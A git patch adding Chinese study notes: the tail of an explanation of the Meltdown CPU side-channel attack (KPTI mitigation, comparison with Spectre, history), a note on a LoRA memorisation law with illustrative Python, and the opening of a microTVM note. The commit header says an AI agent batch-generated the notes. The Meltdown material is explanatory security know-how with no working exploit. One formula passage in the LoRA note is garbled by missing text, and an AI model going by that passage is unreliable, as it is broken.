防止编译器把探测访问优化掉 +- 实际 PoC 还需**吞掉或延迟异常**(如 `try/catch` 信号处理、Intel TSX 事务内存等),否则瞬态窗口太短;论文讨论了多种实现细节 + +### 案例 3:KPTI 如何让 Step 1 够不着内核 + +Linux KPTI 在每次 **syscall / 中断 / 异常** 进出内核时切换页表: + +```bash +# 查看本机是否启用 KPTI(较新内核) +grep -i pti /sys/devices/system/cpu/vulnerabilities/meltdown +# 常见输出:Mitigation: PTI + +# 打补丁前后 syscall 密集场景(示意,因 CPU/内核版本而异) +# 打补丁前:getpid() 约数百纳秒 +# 打补丁后:同机器可能涨到 1–2 微秒量级,高 QPS 服务 TPS 可降几个点 +``` + +**解释**: + +- 用户态页表里**没有内核映射**,乱序 load 目标地址时更早失败或读不到真实内核内容 +- 代价是每次进内核多一次页表切换与 TLB 刷新——Redis、PostgreSQL、serverless 冷路径都会感受到 +- 后来 PCID 等硬件特性减轻部分开销,但 **安全与速度的 trade-off** 至今仍在 + +### 案例 4:云虚拟机与「邻居不可信」 + +论文在公有云实例上验证:同一物理机上的普通 VM,理论上可读宿主机内核映射片段。 + +```text +┌─────────────┐ ┌─────────────┐ +│ 租户 A VM │ │ 租户 B VM │ 同一物理 CPU +│ 用户进程 │ │ 用户进程 │ +└──────┬──────┘ └──────┬──────┘ + │ Meltdown 泄漏 │ + └────────┬────────┘ + 宿主机内核映射 +``` + +Meltdown 说明:**Hypervisor + 内核隔离** 之上,还要假设 CPU 不乱序泄密;多租户平台除打补丁外,需审计是否仍共享易受影响的旧 CPU 池。 + +## Meltdown vs Spectre(对照表) + +| 维度 | Meltdown | Spectre | +|------|----------|---------| +| 利用机制 | **乱序执行**,权限检查延迟 | **推测执行**,分支预测错误 | +| 主要目标 | **内核 / 物理内存映射** | 受害进程**自己的**地址空间 | +| 是否需要诱骗受害代码 | 否,攻击者主动读内核地址 | 是,需构造投机路径 | +| 关键缓解 | KPTI / KAISER、微码 | retpoline、IBRS、编译器屏障等 | +| 与软件漏洞关系 | **无** | **无**(受害者逻辑可完全正确) | + +两者共同点:**架构上撤销的操作,微架构缓存状态仍可能泄漏。** + +## 踩过的坑 + +1. **Meltdown ≠ 软件提权漏洞**:不是「内核有个 buffer overflow」,而是 CPU 实现与隔离假设不一致。 + +2. **补丁 ≠ 所有侧信道消失**:KPTI 主要挡 Meltdown 这条「乱序读内核」路;后续 MDS、L1TF、LazyFP 等变体仍需微码与继续隔离,不能 2018 年打一次就躺平。 + +3. **容器 ≠ 额外硬件隔离**:Docker 默认共享宿主机内核;Meltdown 时代说明「命名空间」之上还要信任 **KPTI 是否到位**。 + +4. **不要低估 syscall 密集场景**:静态网站几乎无感;高 QPS 数据库、消息队列必须重新做容量规划。 + +5. **ARM 也受影响**:初版讨论以 x86 为主,但论文与后续公告表明多种 ARM 核心同样需缓解——不是「Intel 独有」。 + +## 适用 vs 不适用场景 + +**适用**: + +- 理解现代 CPU **乱序执行 + 缓存** 为何构成安全面 +- 解释 2018 年前后 OS / 虚拟化 / 云架构的紧急改造动机 +- 学习侧信道思维:「作废的读取仍可重建秘密」 +- 评估旧硬件池是否仍应留在多租户生产环境 + +**不适用**: + +- 把本文当「一步步入侵教程」——实战利用受法律与伦理约束,且现代已缓解系统需组合多种技巧 +- 用 Meltdown 解释**纯用户态栈溢出**——那是另一类漏洞模型 +- 在 **已启用 KPTI + 新微码 + 新 CPU** 的环境假设「和 2018 年一样好利用」 +- 替代形式化验证工具——Meltdown 是**打破假设**的案例,不是证明工具 + +## 历史小故事(可跳过) + +- **1967 年**:Tomasulo 算法让乱序执行在工程上可行——性能大奖,五十年后变成安全噩梦的伏笔。 +- **2017 年底**:Graz 理工大学团队与 Google Project Zero 的 Jann Horn **独立**发现同类问题。 +- **2018 年 1 月 3 日**:Meltdown 与 Spectre 同期披露,[meltdownattack.com](https://meltdownattack.com) 上线,全球紧急补丁。 +- **2018 年 8 月**:论文正式发表于 USENIX Security 2018,页 973–990。 +- **之后数年**:Intel 微码、硬件级缓解、MDS/L1TF 等变体研究——故事没在一月结束。 + +## 学到什么 + +1. **内存隔离是安全的地基**——Meltdown 证明硬件实现可以无声击穿「用户碰不到内核」。 +2. **性能优化与安全常常对打**——乱序执行是刚需,副作用必须用页表隔离、微码、新硬件持续买单。 +3. **侧信道的本质是测「痕迹」**——不必拿到寄存器本身,缓存时间差就足够重建秘密字节。 +4. **责任披露 + 全行业协同**——OS、云、芯片厂同一窗口修补,是「基础设施级」漏洞的应对模板。 +5. **读论文要分清架构与微架构**——安全假设若只写在 ISA 手册上,而攻击活在硅片实现里,就会反复踩坑。 + +## 延伸阅读 + +- 同日姊妹篇:[[spectre-attack-2018]] — 推测执行与边界检查绕过 +- 本仓库姊妹笔记:[[lipp-meltdown-2018]] — 另一版 Meltdown 学习笔记 +- Flush+Reload 基础:Yarom & Falkner, USENIX Security 2014 +- KAISER 原理:Gruss et al., USENIX Security 2017(后演进为 KPTI) +- 官方站点:[meltdownattack.com](https://meltdownattack.com) +- USENIX 演讲页:[usenix.org/conference/usenixsecurity18/presentation/lipp](https://www.usenix.org/conference/usenixsecurity18/presentation/lipp) + +## 参考文献 + +```bibtex +@inproceedings{lipp2018meltdown, + title = {Meltdown: Reading Kernel Memory from User Space}, + author = {Moritz Lipp and Michael Schwarz and Daniel Gruss and Thomas Prescher + and Werner Haas and Anders Fogh and Jann Horn and Stefan Mangard + and Paul Kocher and Daniel Genkin and Yuval Yarom and Mike Hamburg}, + booktitle = {27th USENIX Security Symposium (USENIX Security 18)}, + year = {2018}, + pages = {973--990}, + url = {https://meltdownattack.com/meltdown.pdf} +} +``` diff --git a/src/content/docs/papers/mem-ft-lora.md b/src/content/docs/papers/mem-ft-lora.md new file mode 100644 index 000000000..7ca282a72 --- /dev/null +++ b/src/content/docs/papers/mem-ft-lora.md @@ -0,0 +1,310 @@ +--- +title: How LoRA Remembers? — 参数记忆定律与 MemFT 零基础学习笔记 +来源: https://arxiv.org/abs/2605.30260 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:LoRA 像可插拔的「小抽屉」 + +想象你有一本**已经写满的大百科全书**(预训练 LLM 的固定权重)。现实里不断有新事实、新号码、新文档要记进去,但你不能每来一条就把全书重印一遍(全量微调太贵)。 + +**LoRA(Low-Rank Adaptation)** 的做法像给书页边贴一排**可替换的小抽屉**: + +- 大书本体不动,只在少数层旁边挂低秩矩阵 \(A,B\),更新量 \(\Delta W = BA\)。 +- 每条要「写入」的知识,占用的不是整本书的页数,而是**抽屉容量**——由 rank \(r\) 和有效参数量决定。 +- 问一句 key(问题),模型应从抽屉里**一字不差**吐出 value(答案)——这叫 **exact parametric memory(精确参数记忆)**。 + +过去大家只看「微调后 QA 好不好」,像只测「能不能答对大意」。这篇论文(Xu 等,浙江大学 + 阿里巴巴,arXiv:[2605.30260](https://arxiv.org/abs/2605.30260))问的是更底层的问题: + +> **给定 rank 和要背的文本长度,LoRA 到底能可靠记住多少?平均 loss 低了,是否就等于背下来了?** + +答案分两层:**宏观**上有幂律(Parametric Memory Law);**微观**上每个 token 还要过 \(p>0.5\) 的相变门槛,否则一个错词就会**级联崩盘**。 + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 标题 | How LoRA Remembers? A Parametric Memory Law for LLM Finetuning | +| 机构 | 浙江大学、阿里巴巴 | +| 任务 | 精确参数记忆:\(f_\theta(q^{(i)}) = a^{(i)}\),贪婪解码下 verbatim 复现 | +| 探针 | 用 LoRA 作为**可控容量探针**,扫描 rank \(r\) 与答案长度 \(\ell\) | +| 核心公式 | Parametric Memory Law:\(\Delta\mathcal{L}(r,\ell) = C \cdot r^{\alpha} \cdot \ell^{-\beta} + b\) | +| 相变阈值 | \(P_{\text{target}} > 0.5 \Leftrightarrow \mathcal{L}_{\text{crit}} = \ln 2 \approx 0.693\) | +| 方法 | **MemFT**:把训练预算重分配给「还没过门槛」的 stubborn tokens | +| 代码 | [github.com/zjunlp/ParametricMemoryLaw](https://github.com/zjunlp/ParametricMemoryLaw) | + +论文把 LoRA 从「省显存的微调技巧」重新框定为:**latent space 里可插拔的记忆单元**,并给出可预测的容量–参数–长度关系。 + +--- + +## 为什么重要 + +不理解这篇论文,下面几件事很难讲清楚: + +- 为什么 LoRA rank 加到某个值后,**loss 还在降、准确率却卡住**——不是 bug,是 **Loss–Accuracy Misalignment(损失–准确率错位)** +- 为什么「平均 cross-entropy 很低」仍可能**整段背不出来**——少数 \(p<0.5\) 的 stubborn token 会在自回归生成里**一处错、后面全错** +- 为什么 continual learning / 知识更新要同时看 **参数量预算** 和 **序列长度**——二者通过幂律耦合,不是独立旋钮 +- 为什么 MemFT 能在**相同 rank** 下超过标准 SFT——它不再平均用力,而是专攻「还没过 \(\mathcal{L}_{\text{crit}}\)」的位置 +- 为什么 RAG / ICL 保证 verbatim,而 parametric memory 天然更难——信息写进权重,没有「原文 fetch」这条捷径 + +一句话:**LoRA 能记多少、怎样才算「真的记住了」,这篇论文给了可度量的物理定律,而不只是经验调 rank。** + +--- + +## 核心概念 + +### 1. Exact Parametric Memory(精确参数记忆) + +数据集 \(\mathcal{D} = \{(q^{(i)}, a^{(i)})\}\):`q` 是唯一 key,`a` 是要背的内容。推理时**看不到** \(a\),只能靠 \(\Delta\theta\)(LoRA 增量)存信息。 + +- 所有 token 级指标**只统计答案 token**,问题 token 仅作 conditioning。 +- 评估用 **greedy decoding**:\(\hat{a}_t = \arg\max_v p_\theta(v \mid q, a_{ 0\)) +- **要背的越长** → 单位参数能分到的「记忆带宽」越少 → \(\Delta\mathcal{L}\) 越小(\(\beta > 0\)) + +在 Llama-3.1-8B-Instruct、Qwen3-8B-Instruct 上,Long-context 混合任务 \(R^2 \approx 0.98+\),PhoneBook 短 KV 任务同样拟合良好——说明定律对**语义文本、随机 token、长短上下文**都稳健。 + +**宏观定律告诉你「容量趋势」,但不保证每个 token 都背下来了。** + +### 3. Loss–Accuracy Misalignment(损失–准确率错位) + +关键反直觉现象:**平均 loss 接近 0,token 准确率仍可能接近 0**。 + +原因:cross-entropy 对所有 token **平均**。简单 token 已经 \(p \approx 1\),把平均值拉得很低,掩盖少数位置长期 \(p < 0.5\) 的 **stubborn tokens(顽固 token)**。 + +在自回归生成里,只要**最早失败位置** \(i^\*\) 前一个 token 没背稳,后面上下文被污染,整段 collapse——论文报告 Spearman \(\rho \approx 0.908\):最早 stubborn 位置 tightly bounds \(i^\*\)。 + +### 4. Deterministic Phase Transition(确定性相变) + +对每个目标 token,设 \(P_{\text{target}}\) 为正确 token 的预测概率。 + +| 相 | 条件 | 含义 | +|----|------|------| +| **Disordered(无序相)** | \(P_{\text{target}} < 0.5\),即 \(\mathcal{L}_t > \ln 2\) | 正确 token 不是最大概率候选,贪婪解码可能选错 | +| **Ordered(有序相)** | \(P_{\text{target}} > 0.5\),即 \(\mathcal{L}_t < \ln 2\) | 正确 token **保证**是 argmax,贪婪解码必对 | + +临界 loss: + +\[ +\mathcal{L}_{\text{crit}} = -\log(0.5) = \ln 2 \approx 0.693 +\] + +**\(p > 0.5\) 是 verbatim recall 的充分条件**(在 greedy 下)。低于阈值不是「稍微不确定」,而是**记忆尚未锁定**,级联失败风险陡增。 + +Parametric Memory Law 描述「整体 loss 能降多少」;相变解释「降下来的 loss 何时真正变成准确率」。 + +### 5. MemFT(Memorization-oriented Fine-Tuning) + +标准 SFT 对所有 token 等权优化,浪费梯度在**已经 ordered** 的 easy tokens 上。 + +MemFT 使用加权目标: + +\[ +\mathcal{L}_{\text{MemFT}}(\theta) = \frac{\sum_{t \in \mathcal{M}} w_t \, \mathcal{L}_t(\theta)}{\sum_{t \in \mathcal{M}} w_t + \varepsilon} +\] + +两种主要变体: + +| 方法 | 权重 \(w_t\) | 思想 | +|------|-------------|------| +| **MemFT-OT** | \(\mathbf{1}[\mathcal{L}_t > \mathcal{L}_{\text{crit}}]\) | 只训练 sub-threshold token,零额外超参 | +| **MemFT-SW** | 在 OT 基础上加 soft threshold + 围绕首个错误位置的 spatial sliding | 聚焦瓶颈邻域,缓解局部卡死 | + +实验(Long-Context Memorization Stress Test):同 rank 下 MemFT-OT 在 Llama-3.1-8B 最高档 rank 达到 **100% token accuracy**,显著高于 SFT 的 94.7%;PhoneBook 上 EM 准确率同样大幅提升。 + +--- + +## 代码示例 1:判断 token 是否进入「有序相」 + +下面用 NumPy 演示相变阈值——把每个位置的 cross-entropy 映射到 \(P_{\text{target}}\),再标记是否已「记忆锁定」: + +```python +import numpy as np + +L_crit = np.log(2) # ≈ 0.693 + +def memory_phase(per_token_loss: np.ndarray) -> dict: + """per_token_loss: 每个答案 token 的 cross-entropy(自然对数)""" + p_target = np.exp(-per_token_loss) + ordered = per_token_loss < L_crit # P_target > 0.5 + stubborn = ~ordered + return { + "p_target": p_target, + "ordered_mask": ordered, + "stubborn_indices": np.where(stubborn)[0].tolist(), + "mean_loss": float(per_token_loss.mean()), + "token_accuracy_if_greedy": float(ordered.all()), # 全 ordered 才保证整段 verbatim + } + +# 模拟:多数 token 已学会,但 index 7 长期卡在无序相 +losses = np.array([0.05, 0.08, 0.12, 0.15, 0.20, 0.18, 0.22, 0.95, 0.10, 0.09]) +report = memory_phase(losses) + +print(f"平均 loss: {report['mean_loss']:.3f}") # 看起来不错 +print(f"stubborn 位置: {report['stubborn_indices']}") # [7] +print(f"整段 greedy 能否 verbatim: {report['token_accuracy_if_greedy']}") # False +``` + +输出说明:**平均 loss 仅 0.215,但一个 stubborn token 就足以让整段记忆在生成时失败**——这就是 Loss–Accuracy Misalignment 的微观来源。 + +--- + +## 代码示例 2:MemFT-OT 加权 loss(PyTorch 风格) + +MemFT-OT 把梯度集中在 \(\mathcal{L}_t > \mathcal{L}_{\text{crit}}\) 的 token 上: + +```python +import torch +import torch.nn.functional as F + +L_CRIT = 0.6931471805599453 # ln(2) + +def memft_ot_loss(logits: torch.Tensor, labels: torch.Tensor, ignore_index: int = -100) -> torch.Tensor: + """ + logits: [batch, seq, vocab] + labels: [batch, seq],问题 token 位置标 ignore_index + """ + b, s, v = logits.shape + flat_logits = logits.view(-1, v) + flat_labels = labels.view(-1) + + per_token = F.cross_entropy(flat_logits, flat_labels, reduction="none", ignore_index=ignore_index) + mask = flat_labels != ignore_index + + # 仅对未过相变阈值的 token 计权 + w = (per_token > L_CRIT).float() * mask.float() + weighted = w * per_token + + denom = w.sum().clamp_min(1e-8) + return weighted.sum() / denom + +# 对比:标准 SFT 对所有答案 token 等权 +def sft_loss(logits: torch.Tensor, labels: torch.Tensor, ignore_index: int = -100) -> torch.Tensor: + return F.cross_entropy( + logits.view(-1, logits.size(-1)), + labels.view(-1), + ignore_index=ignore_index, + ) +``` + +训练循环里,可在每步 forward 后统计 `stubborn ratio = (L_t > L_crit).mean()`,观察 MemFT 是否把 stubborn token 比例快速压到 0——这与论文中「redirect parameter budget」的叙事一致。 + +--- + +## 代码示例 3:Parametric Memory Law 的 log–log 拟合(概念验证) + +用 scipy 在 \((r, \ell)\) 网格上拟合 \(\Delta\mathcal{L}\),验证幂律形状(实验需自行跑 LoRA 扫描收集数据): + +```python +import numpy as np +from scipy.optimize import curve_fit + +def memory_law(r, ell, C, alpha, beta, b): + return C * (r ** alpha) * (ell ** (-beta)) + b + +# ranks, lengths, delta_L 来自多次 LoRA 微调实验 +ranks = np.array([1, 2, 4, 8, 16, 32], dtype=float) +lengths = np.array([128, 256, 512, 1024], dtype=float) + +# 构造网格:每个 (r, ell) 测一次相对基座的 loss 下降 +R, L = np.meshgrid(ranks, lengths, indexing="ij") +# delta_L[i,j] = loss_base - loss_lora (示例占位,需替换为真实测量) +delta_L = np.random.uniform(0.1, 2.0, size=R.shape) + +def flat_model(x, C, alpha, beta, b): + r, ell = x + return memory_law(r, ell, C, alpha, beta, b) + +popt, _ = curve_fit( + flat_model, + (R.ravel(), L.ravel()), + delta_L.ravel(), + p0=[1.0, 0.5, 0.5, 0.0], + bounds=([0, 0, 0, -np.inf], [np.inf, 5, 5, np.inf]), +) +C, alpha, beta, b = popt +print(f"ΔL ≈ {C:.4f} * r^{alpha:.3f} * ℓ^(-{beta:.3f}) + {b:.4f}") +``` + +论文报告 \(\alpha, \beta\) 在不同模型与数据混合下稳定——这意味着你可以**在正式微调前估算**:给定目标文本长度和可用 rank,loss 还能降多少、是否值得加 rank 或拆短序列。 + +--- + +## 实验设置速览 + +| 维度 | 设置 | +|------|------| +| 基座模型 | Llama-3.1-8B-Instruct、Qwen3-8B-Instruct | +| 长上下文任务 | Long-context Memorization Stress Test(LongBench 与随机 token 混合,r0–r100) | +| 短 KV 任务 | PhoneBook(name → number,大量短条目) | +| LoRA | 作为 latent space 记忆探针,扫描多档 rank | +| 对比方法 | SFT vs MemFT-OT vs MemFT-SW | + +PhoneBook 考察「很多短记忆」;Long-context 考察「单条很长 verbatim」——两者互补,定律在两端都成立。 + +--- + +## 与相关路线的关系 + +```text +非参数记忆 参数记忆(本文) +───────────────────────────────────────────────── +ICL / RAG / 外部向量库 vs LoRA / 权重写入 +推理时读上下文 vs 推理时无原文,靠 Δθ +verbatim 容易(直接取回) vs verbatim 难,需过 p>0.5 相变 +上下文窗口、注意力稀释 vs 容量受 rank×长度幂律约束 +``` + +与 Chinchilla 的「算力–参数–数据最优比」不同,本文回答的是 **finetune 阶段 LoRA 作为记忆模块的容量律**——二者可组合:先知道预训练规模律,再在部署时用 Parametric Memory Law 规划知识更新预算。 + +--- + +## 实践启示 + +1. **别只用平均 loss 判断「背会了没有」**——检查 sub-threshold token 比例和首个失败位置。 +2. **加 rank 有递减收益**——幂律告诉你何时进入饱和区;MemFT 则在**固定 rank** 下挖潜。 +3. **长文本记忆更吃参数**——\(\ell^{-\beta}\) 意味着同样 rank 下,背 4 倍长文本比线性想象更难。 +4. **训练策略**:对 stubborn token 加权(MemFT-OT 最简单)比盲目延长 epoch 更有效。 +5. **评估协议**:exact memory 任务应报告 **token-level accuracy + greedy decoding**,而不只是 perplexity。 + +--- + +## 局限与开放问题 + +- 定律在文中所列模型与任务上验证,**更大模型、MoE、多模态 LoRA** 是否同指数仍需扩展。 +- MemFT-SW 引入 sliding window 等超参,OT 变体零超参但 SW 在部分设置更优——工程上需按任务选择。 +- 论文聚焦 **verbatim parametric memory**;与 RAG 混合、instruction following 的交互未完全展开。 +- 代码仓库标注将发布——复现时以官方实现为准。 + +--- + +## 一句话总结 + +**LoRA 记住东西的方式,可以用幂律刻画容量(Parametric Memory Law),用 \(p>0.5\) 刻画每个 token 是否真正锁定(确定性相变);MemFT 则把训练火力从「已经会了的 token」转向 stubborn token,在相同参数预算下提高 verbatim 记忆成功率。** + +--- + +## 延伸阅读 + +- 论文 HTML:[arxiv.org/html/2605.30260v1](https://arxiv.org/html/2605.30260v1) +- 代码:[github.com/zjunlp/ParametricMemoryLaw](https://github.com/zjunlp/ParametricMemoryLaw) +- 相关:[[demystifying-data-org]](数据组织与训练效率)、[[llmsurgeon-data-mixture]](数据混合与微调) From 14638e7e5f7ada620a1098938e8c31f946610dfb Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 16:10:48 +0800 Subject: [PATCH 11/49] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=2071=20=E7=AF=87?= =?UTF-8?q?=E6=96=B0=E8=AE=BA=E6=96=87=E7=AC=94=E8=AE=B0=EF=BC=9Acursor-ag?= =?UTF-8?q?ent=20composer-2.5=20=E6=89=B9=E9=87=8F=E7=94=9F=E6=88=90?= =?UTF-8?q?=EF=BC=88=E6=89=B9=E6=AC=A1=20B=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Claude Opus 4 --- src/content/docs/papers/microtvm-2020.md | 312 +++++++++++++ .../docs/papers/milestone-phase-order.md | 343 +++++++++++++++ .../docs/papers/mimalloc-leijen-2019.md | 268 +++++++++++ src/content/docs/papers/mira-rubric.md | 285 ++++++++++++ .../docs/papers/mirage-unikernel-2013.md | 260 +++++++++++ src/content/docs/papers/monaco-editor-2016.md | 292 ++++++++++++ .../docs/papers/mooncake-kvcache-2024.md | 360 +++++++++++++++ src/content/docs/papers/morsel-driven-2014.md | 289 ++++++++++++ src/content/docs/papers/mqtt-v5-spec.md | 312 +++++++++++++ .../papers/nexus-prefill-decode-intra-gpu.md | 416 ++++++++++++++++++ .../docs/papers/noise-explorer-2018.md | 298 +++++++++++++ .../docs/papers/noise-protocol-framework.md | 289 ++++++++++++ src/content/docs/papers/oauth2-rfc6749.md | 264 +++++++++++ .../papers/on-demand-container-loading.md | 293 ++++++++++++ src/content/docs/papers/op-tee-tee-2014.md | 317 +++++++++++++ .../operational-transform-jupiter-1995.md | 331 ++++++++++++++ .../docs/papers/paged-attention-vllm.md | 294 +++++++++++++ .../papers/parnas-information-hiding-1972.md | 363 +++++++++++++++ .../docs/papers/passnet-graph-compiler.md | 349 +++++++++++++++ src/content/docs/papers/ppc-preplan.md | 366 +++++++++++++++ .../priority-inversion-mars-pathfinder.md | 249 +++++++++++ src/content/docs/papers/projection-bench.md | 400 +++++++++++++++++ .../docs/papers/prosemirror-architecture.md | 316 +++++++++++++ .../docs/papers/qserve-w4a8kv4-2024.md | 342 ++++++++++++++ .../docs/papers/rate-monotonic-1973.md | 284 ++++++++++++ src/content/docs/papers/ray-2018.md | 378 ++++++++++++++++ src/content/docs/papers/rcu-mckenney-2017.md | 244 ++++++++++ .../docs/papers/reasoning-with-sampling.md | 296 +++++++++++++ .../docs/papers/resolution-diagnostics-llm.md | 331 ++++++++++++++ .../docs/papers/rim-latent-reasoning.md | 307 +++++++++++++ src/content/docs/papers/rowhammer-2014.md | 284 ++++++++++++ src/content/docs/papers/rsa-1978.md | 263 +++++++++++ src/content/docs/papers/rtp-llm-alibaba.md | 335 ++++++++++++++ .../docs/papers/rust-analyzer-architecture.md | 312 +++++++++++++ .../docs/papers/salsa-incremental-2019.md | 284 ++++++++++++ .../papers/salsa-incremental-rust-analyzer.md | 239 ++++++++++ src/content/docs/papers/sarathi-serve-2024.md | 362 +++++++++++++++ .../docs/papers/scaling-hnsws-antirez.md | 249 +++++++++++ src/content/docs/papers/schgen-pcb.md | 288 ++++++++++++ .../papers/seastar-shared-nothing-2014.md | 231 ++++++++++ src/content/docs/papers/sel4-formal-2009.md | 300 +++++++++++++ .../docs/papers/self-trained-verification.md | 343 +++++++++++++++ .../docs/papers/sglang-radixattention.md | 383 ++++++++++++++++ .../docs/papers/signal-double-ratchet-2016.md | 297 +++++++++++++ .../docs/papers/sigstore-cosign-2022.md | 302 +++++++++++++ .../docs/papers/singularity-os-2007.md | 245 +++++++++++ src/content/docs/papers/snmalloc-2019.md | 339 ++++++++++++++ src/content/docs/papers/soundness-bench.md | 331 ++++++++++++++ .../docs/papers/spectre-attack-2018.md | 293 ++++++++++++ .../speculative-decoding-leviathan-2023.md | 324 ++++++++++++++ src/content/docs/papers/splitwise-2023.md | 355 +++++++++++++++ .../docs/papers/tcmalloc-google-2007.md | 228 ++++++++++ .../docs/papers/tensorrt-llm-overview.md | 257 +++++++++++ src/content/docs/papers/tflite-micro-2021.md | 265 +++++++++++ src/content/docs/papers/tls-1-3-rfc8446.md | 244 ++++++++++ src/content/docs/papers/tree-sitter-2018.md | 282 ++++++++++++ .../docs/papers/triton-anatomy-paged-attn.md | 352 +++++++++++++++ src/content/docs/papers/trustzone-arm-2009.md | 247 +++++++++++ src/content/docs/papers/u-boot-bootloader.md | 310 +++++++++++++ src/content/docs/papers/velox-meta-2022.md | 347 +++++++++++++++ src/content/docs/papers/verus-specgym.md | 388 ++++++++++++++++ src/content/docs/papers/vescale-fsdp-2026.md | 338 ++++++++++++++ src/content/docs/papers/videomla.md | 412 +++++++++++++++++ .../docs/papers/wco-joins-relational-2020.md | 313 +++++++++++++ src/content/docs/papers/webauthn-fido2.md | 350 +++++++++++++++ src/content/docs/papers/yjs-crdt-overview.md | 296 +++++++++++++ .../docs/papers/zed-editor-collaborative.md | 303 +++++++++++++ .../docs/papers/zephyr-rtos-overview.md | 310 +++++++++++++ src/content/docs/papers/zfs-bonwick-2003.md | 298 +++++++++++++ .../papers/zigbee-vs-matter-thread-2026.md | 268 +++++++++++ .../docs/papers/zk-snark-pinocchio-2013.md | 318 +++++++++++++ 71 files changed, 21933 insertions(+) create mode 100644 src/content/docs/papers/microtvm-2020.md create mode 100644 src/content/docs/papers/milestone-phase-order.md create mode 100644 src/content/docs/papers/mimalloc-leijen-2019.md create mode 100644 src/content/docs/papers/mira-rubric.md create mode 100644 src/content/docs/papers/mirage-unikernel-2013.md create mode 100644 src/content/docs/papers/monaco-editor-2016.md create mode 100644 src/content/docs/papers/mooncake-kvcache-2024.md create mode 100644 src/content/docs/papers/morsel-driven-2014.md create mode 100644 src/content/docs/papers/mqtt-v5-spec.md create mode 100644 src/content/docs/papers/nexus-prefill-decode-intra-gpu.md create mode 100644 src/content/docs/papers/noise-explorer-2018.md create mode 100644 src/content/docs/papers/noise-protocol-framework.md create mode 100644 src/content/docs/papers/oauth2-rfc6749.md create mode 100644 src/content/docs/papers/on-demand-container-loading.md create mode 100644 src/content/docs/papers/op-tee-tee-2014.md create mode 100644 src/content/docs/papers/operational-transform-jupiter-1995.md create mode 100644 src/content/docs/papers/paged-attention-vllm.md create mode 100644 src/content/docs/papers/parnas-information-hiding-1972.md create mode 100644 src/content/docs/papers/passnet-graph-compiler.md create mode 100644 src/content/docs/papers/ppc-preplan.md create mode 100644 src/content/docs/papers/priority-inversion-mars-pathfinder.md create mode 100644 src/content/docs/papers/projection-bench.md create mode 100644 src/content/docs/papers/prosemirror-architecture.md create mode 100644 src/content/docs/papers/qserve-w4a8kv4-2024.md create mode 100644 src/content/docs/papers/rate-monotonic-1973.md create mode 100644 src/content/docs/papers/ray-2018.md create mode 100644 src/content/docs/papers/rcu-mckenney-2017.md create mode 100644 src/content/docs/papers/reasoning-with-sampling.md create mode 100644 src/content/docs/papers/resolution-diagnostics-llm.md create mode 100644 src/content/docs/papers/rim-latent-reasoning.md create mode 100644 src/content/docs/papers/rowhammer-2014.md create mode 100644 src/content/docs/papers/rsa-1978.md create mode 100644 src/content/docs/papers/rtp-llm-alibaba.md create mode 100644 src/content/docs/papers/rust-analyzer-architecture.md create mode 100644 src/content/docs/papers/salsa-incremental-2019.md create mode 100644 src/content/docs/papers/salsa-incremental-rust-analyzer.md create mode 100644 src/content/docs/papers/sarathi-serve-2024.md create mode 100644 src/content/docs/papers/scaling-hnsws-antirez.md create mode 100644 src/content/docs/papers/schgen-pcb.md create mode 100644 src/content/docs/papers/seastar-shared-nothing-2014.md create mode 100644 src/content/docs/papers/sel4-formal-2009.md create mode 100644 src/content/docs/papers/self-trained-verification.md create mode 100644 src/content/docs/papers/sglang-radixattention.md create mode 100644 src/content/docs/papers/signal-double-ratchet-2016.md create mode 100644 src/content/docs/papers/sigstore-cosign-2022.md create mode 100644 src/content/docs/papers/singularity-os-2007.md create mode 100644 src/content/docs/papers/snmalloc-2019.md create mode 100644 src/content/docs/papers/soundness-bench.md create mode 100644 src/content/docs/papers/spectre-attack-2018.md create mode 100644 src/content/docs/papers/speculative-decoding-leviathan-2023.md create mode 100644 src/content/docs/papers/splitwise-2023.md create mode 100644 src/content/docs/papers/tcmalloc-google-2007.md create mode 100644 src/content/docs/papers/tensorrt-llm-overview.md create mode 100644 src/content/docs/papers/tflite-micro-2021.md create mode 100644 src/content/docs/papers/tls-1-3-rfc8446.md create mode 100644 src/content/docs/papers/tree-sitter-2018.md create mode 100644 src/content/docs/papers/triton-anatomy-paged-attn.md create mode 100644 src/content/docs/papers/trustzone-arm-2009.md create mode 100644 src/content/docs/papers/u-boot-bootloader.md create mode 100644 src/content/docs/papers/velox-meta-2022.md create mode 100644 src/content/docs/papers/verus-specgym.md create mode 100644 src/content/docs/papers/vescale-fsdp-2026.md create mode 100644 src/content/docs/papers/videomla.md create mode 100644 src/content/docs/papers/wco-joins-relational-2020.md create mode 100644 src/content/docs/papers/webauthn-fido2.md create mode 100644 src/content/docs/papers/yjs-crdt-overview.md create mode 100644 src/content/docs/papers/zed-editor-collaborative.md create mode 100644 src/content/docs/papers/zephyr-rtos-overview.md create mode 100644 src/content/docs/papers/zfs-bonwick-2003.md create mode 100644 src/content/docs/papers/zigbee-vs-matter-thread-2026.md create mode 100644 src/content/docs/papers/zk-snark-pinocchio-2013.md diff --git a/src/content/docs/papers/microtvm-2020.md b/src/content/docs/papers/microtvm-2020.md new file mode 100644 index 000000000..b9511fc1a --- /dev/null +++ b/src/content/docs/papers/microtvm-2020.md @@ -0,0 +1,312 @@ +--- +title: microTVM — 把 TVM 编译器搬到微控制器上的 bare-metal ML 栈(学习笔记) +来源: https://tvm.apache.org/docs/topic/microtvm/index.html +日期: 2026-06-13 +分类: 操作系统 +子分类: 嵌入式与 IoT +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你在一家**连锁烘焙店**总部,要把同一套「识别面包是否烤焦」的神经网络,部署到全球几千家**只有一口小烤箱、没有后厨经理**的街边档口: + +- 每家档口的**灶台型号**不同(Cortex-M3/M4/M7、RISC-V、有无 FPU、Flash 只有 512 KB~2 MB)。 +- 档口**不能运行时打电话要内存**——没有 `malloc`,常常没有完整操作系统,只有裸机或轻量 RTOS。 +- 但总部希望**不只靠解释器逐层放映**,而是像专业中央厨房一样:**提前把菜谱编译成可直接下锅的半成品**,还能针对每家店的烤箱做**自动调参**(autotuning)。 + +**microTVM** 就是 Apache TVM 为这种场景做的扩展:在**只依赖 C 标准库**的 bare-metal 设备上,把 Relay/TFLite 等前端模型**编译成 C 源码或目标文件**,配合极简 **C 